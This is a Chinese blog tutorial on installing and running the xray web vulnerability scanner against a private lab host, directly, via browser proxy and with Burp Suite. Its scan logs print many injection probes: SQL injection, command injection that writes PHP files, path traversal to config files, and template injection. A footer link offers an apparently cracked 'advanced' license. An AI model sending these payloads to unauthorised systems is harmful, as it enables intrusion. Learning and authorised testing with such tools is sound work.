Xray工具使用（一）

原创 已于 2022-04-27 16:09:52 修改 · 3.5k 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全 #安全性测试

于 2022-04-27 15:43:57 首次发布
本文介绍了xray，一款高效的安全评估工具，具备快速检测、广泛支持、高质量代码和高度可定制化等特点。内容包括xray的下载链接、安装配置步骤，以及详细阐述了如何进行单个地址的Web扫描、利用浏览器代理扫描和与burpsuite配合使用的案例。

xray简介

xray 是一款功能强大的安全评估工具，主要特性有:

  • 检测速度快。发包速度快; 漏洞检测算法高效。
  • 支持范围广。大至 OWASP Top 10 通用漏洞检测，小至各种 CMS 框架 POC，均可以支持。
  • 代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。
  • 高级可定制。通过配置文件暴露了引擎的各种参数，通过修改配置文件可以极大的客制化功能。
  • 安全无威胁。xray 定位为一款安全辅助评估工具，而不是攻击工具，内置的所有 payload 和 poc 均为无害化检查。

xray下载地址：https://github.com/chaitin/xray/releases

xray安全评估工具文档：xray 安全评估工具文档

安装配置

功能参数介绍：

 首先生成CA证书，并安装ca.crt，如图所示：

 

 运行并生成config.yaml文件。

使用案例 

单个地址实施web扫描

xray_windows_amd64.exe webscan --url http://192.168.72.135:8080 --html-output result.html

C:\xray_windows_amd64.exe>xray_windows_amd64.exe webscan --url http://192.168.72.135:8080 --html-output result.html

____  ___.________.    ____.   _____.___.
\   \/  /\_   __   \  /  _  \  \__  |   |
 \     /  |    _  _/ /  /_\  \  /   |   |
 /     \  |    |   \/    |    \ \____   |
\___/\  \ |____|   /\____|_   / / _____/
      \_/       \_/        \_/  \/

Version: 1.8.4/a47961e0/COMMUNITY

[INFO] 2022-04-27 15:09:17 [default:entry.go:213] Loading config file from config.yaml
[WARN] 2022-04-27 15:09:17 [default:webscan.go:222] disable these plugins as that's not an advanced version, [thinkphp fastjson shiro struts]

Enabled plugins: [baseline cmd-injection jsonp xxe phantasm brute-force crlf-injection path-traversal redirect upload sqldet dirscan ssrf xss]

[INFO] 2022-04-27 15:09:17 [phantasm:phantasm.go:180] 358 pocs have been loaded (debug level will show more details)
These plugins will be disabled as reverse server is not configured, check out the reference to fix this error.
Ref: https://docs.xray.cool/#/configration/reverse
Plugins:
        poc-yaml-dlink-cve-2019-16920-rce
        poc-yaml-jenkins-cve-2018-1000600
        poc-yaml-jira-cve-2019-11581
        poc-yaml-jira-ssrf-cve-2019-8451
        poc-yaml-mongo-express-cve-2019-10758
        poc-yaml-pandorafms-cve-2019-20224-rce
        poc-yaml-saltstack-cve-2020-16846
        poc-yaml-solr-cve-2017-12629-xxe
        poc-yaml-supervisord-cve-2017-11610
        poc-yaml-weblogic-cve-2017-10271
        ssrf/ssrf/default
        xxe/xxe/blind


[INFO] 2022-04-27 15:09:17 [default:dispatcher.go:433] processing GET http://192.168.72.135:8080
[Vuln: baseline]
Target           "http://192.168.72.135:8080/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]=cadr%25%25fzpi"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1' AND EXTRACTVALUE(22,CONCAT(0x7e,md5(830805071)))-- X"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md52046949917;{/dede:field}"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/oauth/authorize?response_type=${40611*44331}&client_id=acme&scope=openid&redirect_uri=http://test"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id=<nil>"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5(956603143)+--+@`'`"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/manager/radius/server_ping.php?ip=127.0.0.1|echo%20\"<?php%20echo%20md5(bhnlehbjsh);unlink(__FILE__);?>\">../../bhnlehbjsh.php&id=1"
VulnType         "sensitive/server-error"

忽略。。。。。。。。。。。。。

[ERRO] 2022-04-27 15:09:18 [default:yaml.go:198] context canceled
[ERRO] 2022-04-27 15:09:18 [go-poc:seeyon-htmlofficeservlet-rce.go:66] context canceled
[*] scanned: 0, pending: 1, requestSent: 709, latency: 2.12ms, failedRatio: 23.98%
[INFO] 2022-04-27 15:09:18 [controller:dispatcher.go:562] controller released, task done

webcan相关参数介绍： 

xray+浏览器代理扫描案例

xray+浏览器：浏览器设置xray代理，实现浏览器访问的地址被xray扫描。

xray设置监听端口：

 浏览器设置代理127.0.0.1:7777，访问URL。

xray自动扫描，如下所示：

C:\xray_windows_amd64.exe>xray_windows_amd64.exe ws --listen 127.0.0.1:7777 --html-output result_new.html

____  ___.________.    ____.   _____.___.
\   \/  /\_   __   \  /  _  \  \__  |   |
 \     /  |    _  _/ /  /_\  \  /   |   |
 /     \  |    |   \/    |    \ \____   |
\___/\  \ |____|   /\____|_   / / _____/
      \_/       \_/        \_/  \/

Version: 1.8.4/a47961e0/COMMUNITY

[INFO] 2022-04-27 15:21:16 [default:entry.go:213] Loading config file from config.yaml
[WARN] 2022-04-27 15:21:16 [default:webscan.go:222] disable these plugins as that's not an advanced version, [fastjson shiro struts thinkphp]

Enabled plugins: [crlf-injection upload xss brute-force cmd-injection jsonp xxe sqldet ssrf phantasm baseline dirscan path-traversal redirect]

[INFO] 2022-04-27 15:21:16 [phantasm:phantasm.go:180] 358 pocs have been loaded (debug level will show more details)
These plugins will be disabled as reverse server is not configured, check out the reference to fix this error.
Ref: https://docs.xray.cool/#/configration/reverse
Plugins:
        poc-yaml-dlink-cve-2019-16920-rce
        poc-yaml-jenkins-cve-2018-1000600
        poc-yaml-jira-cve-2019-11581
        poc-yaml-jira-ssrf-cve-2019-8451
        poc-yaml-mongo-express-cve-2019-10758
        poc-yaml-pandorafms-cve-2019-20224-rce
        poc-yaml-saltstack-cve-2020-16846
        poc-yaml-solr-cve-2017-12629-xxe
        poc-yaml-supervisord-cve-2017-11610
        poc-yaml-weblogic-cve-2017-10271
        ssrf/ssrf/default
        xxe/xxe/blind


[INFO] 2022-04-27 15:21:16 [collector:mitm.go:215] loading cert from ./ca.crt and ./ca.key
[INFO] 2022-04-27 15:21:17 [collector:mitm.go:270] starting mitm server at 127.0.0.1:7777
[INFO] 2022-04-27 15:23:03 [default:dispatcher.go:433] processing GET https://sug.so.360.cn/suggest?word=http%3A%2F%2F192.168.72.135%3A8080%2F&callback=suggest360&encodein=utf-8&encodeout=utf-8&format=json
[INFO] 2022-04-27 15:23:04 [default:dispatcher.go:433] processing GET http://192.168.72.135:8080/
[Vuln: baseline]
Target           "http://192.168.72.135:8080/include/thumb.php?dir=http\\..\\admin\\login\\login_check.php"
VulnType         "sensitive/server-error"

[*] scanned: 0, pending: 2, requestSent: 454, latency: 77.58ms, failedRatio: 0.00%
[Vuln: baseline]
Target           "http://192.168.72.135:8080/type.php?template=tag_(){}%3b@unlink(file)%3becho md5($_GET[1])%3b{//../rss"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa\") and extractvalue(1,concat(0x7e,md5(99999999))) -- a"
VulnType         "sensitive/server-error"

[*] scanned: 0, pending: 2, requestSent: 995, latency: 71.68ms, failedRatio: 0.00%
[Vuln: baseline]
Target           "http://192.168.72.135:8080/include/makecvs.php?Event=http|echo%20\"<?php%20echo%20md5(fvykoshcnl);unlink(__FILE__);?>\"%20>>%20/usr/www/fvykoshcnl.php%20&&%20chmod%20755%20/usr/www/fvykoshcnl.php||"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]=yjet%25%25vpms"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5(981009000)+--+@`'`"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/manager/radius/server_ping.php?ip=127.0.0.1|echo%20\"<?php%20echo%20md5(iowesdrcxu);unlink(__FILE__);?>\">../../iowesdrcxu.php&id=1"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5(208261576),0x7e),1)--+"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20md5(202072102)))),@`%27`"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,CONCAT%28md5(200188526)%29,4,5,6,7,8,9,10,11,12%23_"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/f/job.php?job=getzone&typeid=zone&fup=..\\..\\do\\js&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=qb_label%20where%20lid=-1%20UNION%20SELECT%201,2,3,4,5,6,0,md5(208912940),9,10,11,12,13,14,15,16,17,18,19%23"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5(209998525),5,6,7,8,9%23"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5(1234),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id=<nil>"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/get_luser_by_sshport.php?clientip=1;echo%20\"<?php%20echo%20md5(jgcuboeaqe);unlink(__FILE__);?>\">/opt/freesvr/web/htdocs/freesvr/audit/jgcuboeaqe.php;&clientport=1"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/actions/seomatic/meta-container/meta-link-container/?uri={{43203*'41244'}}"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/actions/seomatic/meta-container/all-meta-containers?uri={{43203*'41244'}}"
VulnType         "sensitive/server-error"

[Vuln: dirscan]
Target           "http://192.168.72.135:8080/examples/"
VulnType         "debug/default"
Payload          "/examples/"

忽略。。。。。

[WARN] 2022-04-27 15:23:16 [default:ctx.go:34] receive signal: interrupt
[*] scanned: 1, pending: 1, requestSent: 1942, latency: 67.60ms, failedRatio: 0.00%
[INFO] 2022-04-27 15:23:17 [collector:mitm.go:294] mitm server stopped
[INFO] 2022-04-27 15:23:17 [controller:dispatcher.go:562] controller released, task done

burpsuite+xray扫描配置

burpsuite+xray结合实现地址扫描。

监听7777端口（如上），burpsuite设置

 浏览器设置burpsuite代理，浏览器访问URL即可实现xray自动扫描

C:\xray_windows_amd64.exe>xray_windows_amd64.exe ws --listen 127.0.0.1:7777 --html-output result_2.html

____  ___.________.    ____.   _____.___.
\   \/  /\_   __   \  /  _  \  \__  |   |
 \     /  |    _  _/ /  /_\  \  /   |   |
 /     \  |    |   \/    |    \ \____   |
\___/\  \ |____|   /\____|_   / / _____/
      \_/       \_/        \_/  \/

Version: 1.8.4/a47961e0/COMMUNITY

[INFO] 2022-04-27 15:33:56 [default:entry.go:213] Loading config file from config.yaml
[WARN] 2022-04-27 15:33:56 [default:webscan.go:222] disable these plugins as that's not an advanced version, [fastjson struts thinkphp shiro]

Enabled plugins: [baseline redirect upload phantasm jsonp sqldet brute-force cmd-injection crlf-injection path-traversal ssrf xss dirscan xxe]

[INFO] 2022-04-27 15:33:56 [phantasm:phantasm.go:180] 358 pocs have been loaded (debug level will show more details)
These plugins will be disabled as reverse server is not configured, check out the reference to fix this error.
Ref: https://docs.xray.cool/#/configration/reverse
Plugins:
        poc-yaml-dlink-cve-2019-16920-rce
        poc-yaml-jenkins-cve-2018-1000600
        poc-yaml-jira-cve-2019-11581
        poc-yaml-jira-ssrf-cve-2019-8451
        poc-yaml-mongo-express-cve-2019-10758
        poc-yaml-pandorafms-cve-2019-20224-rce
        poc-yaml-saltstack-cve-2020-16846
        poc-yaml-solr-cve-2017-12629-xxe
        poc-yaml-supervisord-cve-2017-11610
        poc-yaml-weblogic-cve-2017-10271
        ssrf/ssrf/default
        xxe/xxe/blind


[INFO] 2022-04-27 15:33:56 [collector:mitm.go:215] loading cert from ./ca.crt and ./ca.key
[INFO] 2022-04-27 15:33:56 [collector:mitm.go:270] starting mitm server at 127.0.0.1:7777
[*] scanned: 0, pending: 1, requestSent: 1, latency: 0.00ms, failedRatio: 0.00%
[INFO] 2022-04-27 15:35:01 [default:dispatcher.go:433] processing GET http://192.168.72.135:8080/
[Vuln: baseline]
Target           "http://192.168.72.135:8080/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1)"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md52070712504;{/dede:field}"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/type.php?template=tag_(){}%3b@unlink(file)%3becho md5($_GET[1])%3b{//../rss"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/f/job.php?job=getzone&typeid=zone&fup=..\\..\\do\\js&id=514125&webdb[web_open]=1&webdb[cache_time_js]=-1&pre=qb_label%20where%20lid=-1%20UNION%20SELECT%201,2,3,4,5,6,0,md5(207410695),9,10,11,12,13,14,15,16,17,18,19%23"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/get_luser_by_sshport.php?clientip=1;echo%20\"<?php%20echo%20md5(iwbkptecqh);unlink(__FILE__);?>\">/opt/freesvr/web/htdocs/freesvr/audit/iwbkptecqh.php;&clientport=1"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/include/makecvs.php?Event=http|echo%20\"<?php%20echo%20md5(ycsbixadpz);unlink(__FILE__);?>\"%20>>%20/usr/www/ycsbixadpz.php%20&&%20chmod%20755%20/usr/www/ycsbixadpz.php||"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/eam/vib?id=C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx\\vcdb.properties"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/oauth/authorize?response_type=${41399*41187}&client_id=acme&scope=openid&redirect_uri=http://test"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]=dgqu%25%25addg"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/images/lists?cid=1 ) ORDER BY 1 desc,extractvalue(rand(),concat(0x7c,md5(834967583))) desc --+a"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5(205122676),5,6,7,8,9%23"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/api.php?c=project&f=index&token=1234&id=news&sort=1 and extractvalue(1,concat(0x7e,md5(978660149))) --+"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5(912682181)+--+@`'`"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,md5(1234),0x3a)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23"
VulnType         "sensitive/server-error"

[Vuln: baseline]
Target           "http://192.168.72.135:8080/manager/radius/server_ping.php?ip=127.0.0.1|echo%20\"<?php%20echo%20md5(mqktmeoxoi);unlink(__FILE__);?>\">../../mqktmeoxoi.php&id=1"
VulnType         "sensitive/server-error"

[WARN] 2022-04-27 15:35:09 [default:ctx.go:34] receive signal: interrupt
[ERRO] 2022-04-27 15:35:09 [default:yaml.go:198] context canceled
[ERRO] 2022-04-27 15:35:09 [default:yaml.go:198] context canceled
[Vuln: baseline]
Target           "http://192.168.72.135:8080/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5(202091685),0x7e),1)--+"
VulnType         "sensitive/server-error"

忽略部分内容。。。。。。。。。

[ERRO] 2022-04-27 15:35:09 [go-poc:tomcat-put.go:60] context canceled
[ERRO] 2022-04-27 15:35:09 [default:yaml.go:198] context canceled
[ERRO] 2022-04-27 15:35:09 [default:yaml.go:198] context canceled
[*] scanned: 0, pending: 1, requestSent: 674, latency: 1.93ms, failedRatio: 3.26%
[ERRO] 2022-04-27 15:35:09 [go-poc:ecology-dbconfig-info-leak.go:45] context canceled
[ERRO] 2022-04-27 15:35:09 [go-poc:seeyon-htmlofficeservlet-rce.go:66] context canceled
[ERRO] 2022-04-27 15:35:09 [go-poc:tongda-arbitrarily-auth.go:49] context canceled
[INFO] 2022-04-27 15:35:10 [controller:dispatcher.go:562] controller released, task done

后续继续分享其他。

漏洞扫描工具：Xray
C-HOWE的博客
01-03 1384
Xray是一款功能强大的漏洞扫描工具，支持主动和被动扫描方式，能够自动化检测Web应用程序中的各种漏洞，如SQL注入、XSS、命令注入等。它采用Go语言编写，跨平台支持Windows、macOS和Linux，具备快速、高效、可定制的特点，适用于安全测试和评估。
【每天学会一个渗透测试工具】Xray安装及使用指南
菜鸟小羊的博客
06-18 4226
代理模式下的基本架构为，扫描器作为中间人，首先原样转发流量,并返回服务器响应给浏览器等客户端，通讯两端都认为自己直接与对方对话，同时记录该流量，然后修改参数并重新发送请求进行扫描。基于代理模式进行的扫描，扫描器作为中间人，原样转发流量并返回响应给客户端，通讯两端都认为自己直接与对方对话，同时记录该流量，然后修改参数并重新发送请求进行扫描。基于爬虫模式进行的扫描，模拟人工去点击网页链接，快速爬取网站目录，看有哪些目录对互联网开放，再用漏洞扫描看看是否有漏洞。设置——>隐私与安全——>证书——>查看证书。
Xray图形化工具 | Super Xray介绍+使用
2202_75361164的博客
01-29 1424
xray是一款优秀的漏洞扫描工具，但目前只有命令行版本，通过配置文件启动，很多情况下不好上手，需要一款 GUI 工具来帮助新人更快使用。Super Xray图形化工具对xray的命令行进行了包装，可以快速帮助新人上手下载地址在文末本地有JRE/JDK 8+环境（如果使用内置JRE的exe版本无需Java环境）使用启动（在Windows中双击启动会有权限问题）前往ctstack或xray 下载站下载最新版xray(本工具也有内置一键下载面板)
5款常用的漏洞扫描工具，网安人得会吧~
最新发布
ewii12567的博客
09-28 1069
漏洞扫描是指基于漏洞数据库，通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测，发现可利用漏洞的一种安全检测的行为。在漏洞扫描过程中，我们经常会借助一些漏扫工具，市面上漏扫工具众多，其中有一些常用的，你一定要熟悉。1。
Xray安全评估工具深度解析：从安装到实战扫描Pikachu靶场
Java程序员_编程开发学习笔记_网站安全运维教程_渗透技术教程
04-12 1239
Xray是从长亭科技洞鉴核心引擎中提取出的社区版漏洞扫描神器，支持主动、被动多种扫描方式，自带盲打平台，可以灵活定义POC（概念验证代码）。它支持Windows、macOS和Linux多种操作系统，能够满足广大安全从业者的自动化Web漏洞探测需求。核心功能特点全面漏洞检测：支持XSS、SQL注入、命令注入、目录枚举等常见Web漏洞检测多种扫描模式：提供主动扫描、被动代理、服务扫描等多种检测方式无害POC探测：在确保能发现漏洞的基础上不会给业务带来严重影响灵活的输出格式。
Xray-web漏洞扫描工具.zip
02-02
xray 是一款功能强大的安全评估工具，由多名经验丰富的一线安全从业者呕心打造而成，主要特性有: 检测速度快。发包速度快; 漏洞检测算法高效。 支持范围广。大至 OWASP Top 10 通用漏洞检测，小至各种 CMS 框架 POC，均可以支持。 代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。 高级可定制。通过配置文件暴露了引擎的各种参数，通过修改配置文件可以极大的客制化功能。 安全无威胁。xray 定位为一款安全辅助评估工具，而不是攻击工具，内置的所有 payload 和 poc 均为无害化检查。 目前支持的漏洞检测类型包括: XSS漏洞检测 (key: xss) SQL 注入检测 (key: sqldet) 命令/代码注入检测 (key: cmd_injection) 目录枚举 (key: dirscan) 路径穿越检测 (key: path_traversal) XML 实体注入检测 (key: xxe) 文件上传检测 (key: upload) 弱口令检测 (key: brute_force) jsonp 检测 (key: jsonp) ssrf 检测 (key: ssrf) 基线检查 (key: baseline) 任意跳转检测 (key: redirect) CRLF 注入 (key: crlf_injection) Struts2 系列漏洞检测 (高级版，key: struts) Thinkphp系列漏洞检测 (高级版，key: thinkphp) POC 框架 (key: phantasm) 其中 POC 框架默认内置 Github 上贡献的 poc，用户也可以根据需要自行构建 poc 并运行。 设计理念 发最少的包做效果最好的探测。 如果一个请求可以确信漏洞存在，那就发一个请求。如果两种漏洞环境可以用同一个 payload 探测出来，那就 不要拆成两个。 允许一定程度上的误报来换取扫描速度的提升 漏洞检测工具无法面面俱到，在漏报和误报的选择上必然要选择误报。如果在使用中发现误报比较严重，可以进行反馈。 尽量不用时间盲注等机制检测漏洞。 时间检测受影响因素太多且不可控，而且可能会影响其他插件的运行。因此除非必要（如 sql）请尽量使用与时间无关的 payload。 尽量不使用盲打平台 如果一个漏洞能用回显检测就用回显检测，因为盲打平台增加了漏洞检测过程的不确定性和复杂性。 耗时操作谨慎处理 全局使用 Context 做管理，不会因为某个请求而导致全局卡死。 简易架构 了解 xray 的整体架构可以更好的理解 cli 和配置文件的设置，方便大家更好的使用。 整体来看，扫描器这类工具大致都是由三部分组成： 来源处理 漏洞检测 结果输出 来源处理 这一部分的功能是整个漏洞检测的入口，在 xray 中我们定义了四个入口，分别是 HTTP 被动代理 简易爬虫 单个 URL URL列表的文件 单个原始 HTTP 请求文件 漏洞检测 这一部分是引擎的核心功能，用于处理前面 来源处理 部分产生的标准化的请求。用户可以针对性的启用插件，配置扫描插件的参数，配置 HTTP 相关参数等。 结果输出 漏洞扫描和运行时的状态统称为结果输出，xray 定义了如下几种输出方式: Stdout (屏幕输出, 默认开启) JSON 文件输出 HTML 报告输出 Webhook 输出 使用教程见：xray 是一款功能强大的安全评估工具，由多名经验丰富的一线安全从业者呕心打造而成，主要特性有: 检测速度快。发包速度快; 漏洞检测算法高效。 支持范围广。大至 OWASP Top 10 通用漏洞检测，小至各种 CMS 框架 POC，均可以支持。 代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。 高级可定制。通过配置文件暴露了引擎的各种参数，通过修改配置文件可以极大的客制化功能。 安全无威胁。xray 定位为一款安全辅助评估工具，而不是攻击工具，内置的所有 payload 和 poc 均为无害化检查。 目前支持的漏洞检测类型包括: XSS漏洞检测 (key: xss) SQL 注入检测 (key: sqldet) 命令/代码注入检测 (key: cmd_injection) 目录枚举 (key: dirscan) 路径穿越检测 (key: path_traversal) XML 实体注入检测 (key: xxe) 文件上传检测 (key: upload) 弱口令检测 (key: brute_force) jsonp 检测 (key: jsonp) ssrf 检测 (key: ssrf) 基线检查 (key: baseline) 任意跳转检测 (key: redirect) CRLF 注入 (key: crlf_injection) Struts2 系列漏洞检测 (高级版，key: struts) Thinkphp系列漏洞检测 (高级版，key: thinkphp) POC 框架 (key: phantasm) 其中 POC 框架默认内置 Github 上贡献的 poc，用户也可以根据需要自行构建 poc 并运行。 设计理念 发最少的包做效果最好的探测。 如果一个请求可以确信漏洞存在，那就发一个请求。如果两种漏洞环境可以用同一个 payload 探测出来，那就 不要拆成两个。 允许一定程度上的误报来换取扫描速度的提升 漏洞检测工具无法面面俱到，在漏报和误报的选择上必然要选择误报。如果在使用中发现误报比较严重，可以进行反馈。 尽量不用时间盲注等机制检测漏洞。 时间检测受影响因素太多且不可控，而且可能会影响其他插件的运行。因此除非必要（如 sql）请尽量使用与时间无关的 payload。 尽量不使用盲打平台 如果一个漏洞能用回显检测就用回显检测，因为盲打平台增加了漏洞检测过程的不确定性和复杂性。 耗时操作谨慎处理 全局使用 Context 做管理，不会因为某个请求而导致全局卡死。 简易架构 了解 xray 的整体架构可以更好的理解 cli 和配置文件的设置，方便大家更好的使用。 整体来看，扫描器这类工具大致都是由三部分组成： 来源处理 漏洞检测 结果输出 来源处理 这一部分的功能是整个漏洞检测的入口，在 xray 中我们定义了四个入口，分别是 HTTP 被动代理 简易爬虫 单个 URL URL列表的文件 单个原始 HTTP 请求文件 漏洞检测 这一部分是引擎的核心功能，用于处理前面 来源处理 部分产生的标准化的请求。用户可以针对性的启用插件，配置扫描插件的参数，配置 HTTP 相关参数等。 结果输出 漏洞扫描和运行时的状态统称为结果输出，xray 定义了如下几种输出方式: Stdout (屏幕输出, 默认开启) JSON 文件输出 HTML 报告输出 Webhook 输出
Xray工具~(Web自动化漏洞检测)
@小张小张的博客
10-19 1万+
Web自动化漏洞检测工具之 Xray的安装和配置 下载地址 GitHub：https : //github.com/chaitin/xray/releases xray 是一款功能强大的安全评估工具，由多名经验丰富的一线安全从业者呕心打造而成，主要特性有: 检测速度快。发包速度快; 漏洞检测算法高效。 支持范围广。大至 OWASP Top 10 通用漏洞检测，小至各种 CMS 框架 POC，均可以支持。 代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高
Xray的安装与使用（超详细）
热门推荐
qq_45157535的博客
02-22 4万+
本文章主要描述了Xray工具的安装与使用，超详细版本。
xray工具—代理扫描、爬虫扫描、Burp联动
剁椒鱼头没剁椒的博客
05-31 5836
Xray是长亭科技推出的一款功能强大的安全评估工具，由多名经验丰富的一线安全从业者呕心打造而成，支持主动、被动等多种扫描方式，支持WindowsLinuxmacOS多种操作系统，同时支持用户自定义POC。目前xray分为：社区版、高级版、企业版。其中社区版是为免费版本，高级版需要为社区提供贡献获取金币、抽奖、商业销售进行获取，而企业版则只能通过商务购买进行获取。这里确实本来想好好总结一下，但是写着写着，发现确实配置文件都是中文，而且非常好理解，同时Xray。
xray：漏洞扫描利器
zkaqlaoniao的博客
11-07 8517
长亭科技旗下的一款网络安全漏洞扫描工具，用于检测和评估web应用程序的安全性。具有一下特点：检测速读快、检查范围广、代码质量高、高级可定制以及安全无危害。属于不开源的项目，用户直接下载xray的可执行文件，即可运行该工具xray使用了与burpsuit一样的盈利模式：社区版、高级版和企业版XSS漏洞检测 (key: xss)SQL 注入检测 (key: sqldet)命令/代码注入检测 (key: cmd-injection)目录枚举 (key: dirscan)
Xray-安全评估工具
一位专注网络安全以及渗透的资深工程师
04-27 506
Xray 是一款功能强大的安全评估工具，支持多种漏洞扫描和代理功能。
xray1.3.3高级版个人自用全版本.zip
11-09
xray高级版，lincense，可使用到2099年。全版本（win，mac，linux）使用。个人自用版本。
Xray安全评估工具使用
qq_35664104的博客
01-18 1万+
xray 是一款功能强大的安全评估工具，主要特性有: 检测速度快。发包速度快; 漏洞检测算法高效。 支持范围广。大至 OWASP Top 10 通用漏洞检测，小至各种 CMS 框架 POC，均可以支持。 高级可定制。通过配置文件暴露了引擎的各种参数，通过修改配置文件可以极大的客制化功能。 安全无威胁。xray 定位为一款安全辅助评估工具，而不是攻击工具，内置的所有 payload 和 poc 均为无害化检查。 这里介绍一下xray的简单使用及各种联动 1. 使用基础爬虫爬取并对爬取的链接进行漏洞扫描
xray工具使用
huangyongkang666的博客
03-22 5398
xray工具使用 1.基本使用 Linux / Mac用户在终端（终端）运行，Windows用户请在Powershell或其他高级Shell中运行 查看 xray 的版本号。 .\xray_windows_amd64.exe version 使用基础爬虫爬取并对爬虫爬取的链接进行漏洞扫描： xray webscan --basic-crawler http://example.com --html-output xxx.html (--html-output：输出到 HTML 文件中) 使用 HTT
Xray工具的使用
qq_38484679的博客
10-12 1332
